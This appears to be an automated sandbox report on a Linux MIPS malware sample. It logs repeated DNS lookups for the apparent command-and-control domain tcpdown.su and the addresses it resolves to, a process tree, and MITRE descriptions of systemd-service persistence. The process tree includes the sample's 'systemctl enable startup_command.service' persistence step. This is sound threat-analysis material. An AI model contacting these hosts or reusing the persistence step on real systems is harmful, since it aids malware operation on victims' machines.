Jan 7, 2025 01:24:52.823653936 CET	1.1.1.1	192.168.2.13	0xb096	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.831343889 CET	1.1.1.1	192.168.2.13	0xb096	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.839390039 CET	1.1.1.1	192.168.2.13	0xb096	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.847112894 CET	1.1.1.1	192.168.2.13	0xb096	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.855150938 CET	1.1.1.1	192.168.2.13	0xb096	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.411659956 CET	1.1.1.1	192.168.2.13	0x1d7a	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.420877934 CET	1.1.1.1	192.168.2.13	0xfbc4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.435484886 CET	1.1.1.1	192.168.2.13	0xfbc4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.444360971 CET	1.1.1.1	192.168.2.13	0xfbc4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.453167915 CET	1.1.1.1	192.168.2.13	0xfbc4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.461247921 CET	1.1.1.1	192.168.2.13	0xfbc4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.157987118 CET	1.1.1.1	192.168.2.13	0x2a9f	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.166615009 CET	1.1.1.1	192.168.2.13	0x2541	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.174665928 CET	1.1.1.1	192.168.2.13	0x2541	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.182579041 CET	1.1.1.1	192.168.2.13	0x2541	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.190733910 CET	1.1.1.1	192.168.2.13	0x2541	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.198944092 CET	1.1.1.1	192.168.2.13	0x2541	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.074703932 CET	1.1.1.1	192.168.2.13	0x69a1	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.083364964 CET	1.1.1.1	192.168.2.13	0x38f1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.092561007 CET	1.1.1.1	192.168.2.13	0x38f1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.101310968 CET	1.1.1.1	192.168.2.13	0x38f1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.109441042 CET	1.1.1.1	192.168.2.13	0x38f1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.117810965 CET	1.1.1.1	192.168.2.13	0x38f1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.987206936 CET	1.1.1.1	192.168.2.13	0x86	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.995699883 CET	1.1.1.1	192.168.2.13	0x7d39	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.004252911 CET	1.1.1.1	192.168.2.13	0x7d39	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.012238026 CET	1.1.1.1	192.168.2.13	0x7d39	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.020287037 CET	1.1.1.1	192.168.2.13	0x7d39	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.028405905 CET	1.1.1.1	192.168.2.13	0x7d39	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.915746927 CET	1.1.1.1	192.168.2.13	0x51a7	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.923880100 CET	1.1.1.1	192.168.2.13	0x2afe	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.932984114 CET	1.1.1.1	192.168.2.13	0x2afe	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.942173004 CET	1.1.1.1	192.168.2.13	0x2afe	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.951097965 CET	1.1.1.1	192.168.2.13	0x2afe	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.959331989 CET	1.1.1.1	192.168.2.13	0x2afe	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.815186977 CET	1.1.1.1	192.168.2.13	0x85a8	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.824424028 CET	1.1.1.1	192.168.2.13	0x1552	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.832334042 CET	1.1.1.1	192.168.2.13	0x1552	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.840384960 CET	1.1.1.1	192.168.2.13	0x1552	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.848557949 CET	1.1.1.1	192.168.2.13	0x1552	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.857605934 CET	1.1.1.1	192.168.2.13	0x1552	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422117949 CET	1.1.1.1	192.168.2.13	0x770	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.429882050 CET	1.1.1.1	192.168.2.13	0x91b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.438364983 CET	1.1.1.1	192.168.2.13	0x91b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.446192026 CET	1.1.1.1	192.168.2.13	0x91b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.454247952 CET	1.1.1.1	192.168.2.13	0x91b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.462357998 CET	1.1.1.1	192.168.2.13	0x91b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.333538055 CET	1.1.1.1	192.168.2.13	0x9f75	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.341365099 CET	1.1.1.1	192.168.2.13	0x1f99	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.348702908 CET	1.1.1.1	192.168.2.13	0x1f99	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.356291056 CET	1.1.1.1	192.168.2.13	0x1f99	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.364628077 CET	1.1.1.1	192.168.2.13	0x1f99	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.372639894 CET	1.1.1.1	192.168.2.13	0x1f99	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.088305950 CET	1.1.1.1	192.168.2.13	0x5d8	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.096157074 CET	1.1.1.1	192.168.2.13	0xf63b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.103863001 CET	1.1.1.1	192.168.2.13	0xf63b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.111900091 CET	1.1.1.1	192.168.2.13	0xf63b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.119889975 CET	1.1.1.1	192.168.2.13	0xf63b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.127537012 CET	1.1.1.1	192.168.2.13	0xf63b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.009948015 CET	1.1.1.1	192.168.2.13	0x959b	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.017967939 CET	1.1.1.1	192.168.2.13	0x48b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.025934935 CET	1.1.1.1	192.168.2.13	0x48b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.033829927 CET	1.1.1.1	192.168.2.13	0x48b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.042233944 CET	1.1.1.1	192.168.2.13	0x48b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.050102949 CET	1.1.1.1	192.168.2.13	0x48b4	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: mips.elf PID: 5441, Parent PID: 5367

General

Start time (UTC):	00:23:42
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	/tmp/mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: mips.elf PID: 5443, Parent PID: 5441

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: mips.elf PID: 5445, Parent PID: 5443

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: mips.elf PID: 5447, Parent PID: 5443

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: mips.elf PID: 5451, Parent PID: 5447

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: mips.elf PID: 5449, Parent PID: 5443

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5449, Parent PID: 5443

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5453, Parent PID: 5449

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5453, Parent PID: 5449

General

Start time (UTC):	00:23:43
Start date (UTC):	07/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: mips.elf PID: 5459, Parent PID: 5443

General

Start time (UTC):	00:23:44
Start date (UTC):	07/01/2025
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5459, Parent PID: 5443

General

Start time (UTC):	00:23:44
Start date (UTC):	07/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5461, Parent PID: 5459

General

Start time (UTC):	00:23:44
Start date (UTC):	07/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5461, Parent PID: 5459

General

Start time (UTC):	00:23:44
Start date (UTC):	07/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5457, Parent PID: 5456

General

Start time (UTC):	00:23:44
Start date (UTC):	07/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5457, Parent PID: 5456

General

Start time (UTC):	00:23:44
Start date (UTC):	07/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5463, Parent PID: 5462

General

Start time (UTC):	00:23:45
Start date (UTC):	07/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5463, Parent PID: 5462

General

Start time (UTC):	00:23:45
Start date (UTC):	07/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: gnome-session-binary PID: 5485, Parent PID: 1588

General

Start time (UTC):	00:23:45
Start date (UTC):	07/01/2025
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 5485, Parent PID: 1588

General

Start time (UTC):	00:23:45
Start date (UTC):	07/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-rfkill PID: 5485, Parent PID: 1588

General

Start time (UTC):	00:23:45
Start date (UTC):	07/01/2025
Path:	/usr/libexec/gsd-rfkill
Arguments:	/usr/libexec/gsd-rfkill
File size:	51808 bytes
MD5 hash:	88a16a3c0aba1759358c06215ecfb5cc

Chronological Activities

Analysis Process: systemd PID: 5496, Parent PID: 1

General

Start time (UTC):	00:23:46
Start date (UTC):	07/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-hostnamed PID: 5496, Parent PID: 1

General

Start time (UTC):	00:23:46
Start date (UTC):	07/01/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Chronological Activities

Analysis Process: gdm3 PID: 5627, Parent PID: 1400

General

Start time (UTC):	00:23:47
Start date (UTC):	07/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 5627, Parent PID: 1400

General

Start time (UTC):	00:23:47
Start date (UTC):	07/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gdm3 PID: 5628, Parent PID: 1400

General

Start time (UTC):	00:23:47
Start date (UTC):	07/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 5628, Parent PID: 1400

General

Start time (UTC):	00:23:47
Start date (UTC):	07/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemd PID: 5633, Parent PID: 1

General

Start time (UTC):	00:23:57
Start date (UTC):	07/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-user-runtime-dir PID: 5633, Parent PID: 1

General

Start time (UTC):	00:23:57
Start date (UTC):	07/01/2025
Path:	/lib/systemd/systemd-user-runtime-dir
Arguments:	/lib/systemd/systemd-user-runtime-dir stop 127
File size:	22672 bytes
MD5 hash:	d55f4b0847f88131dbcfb07435178e54

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

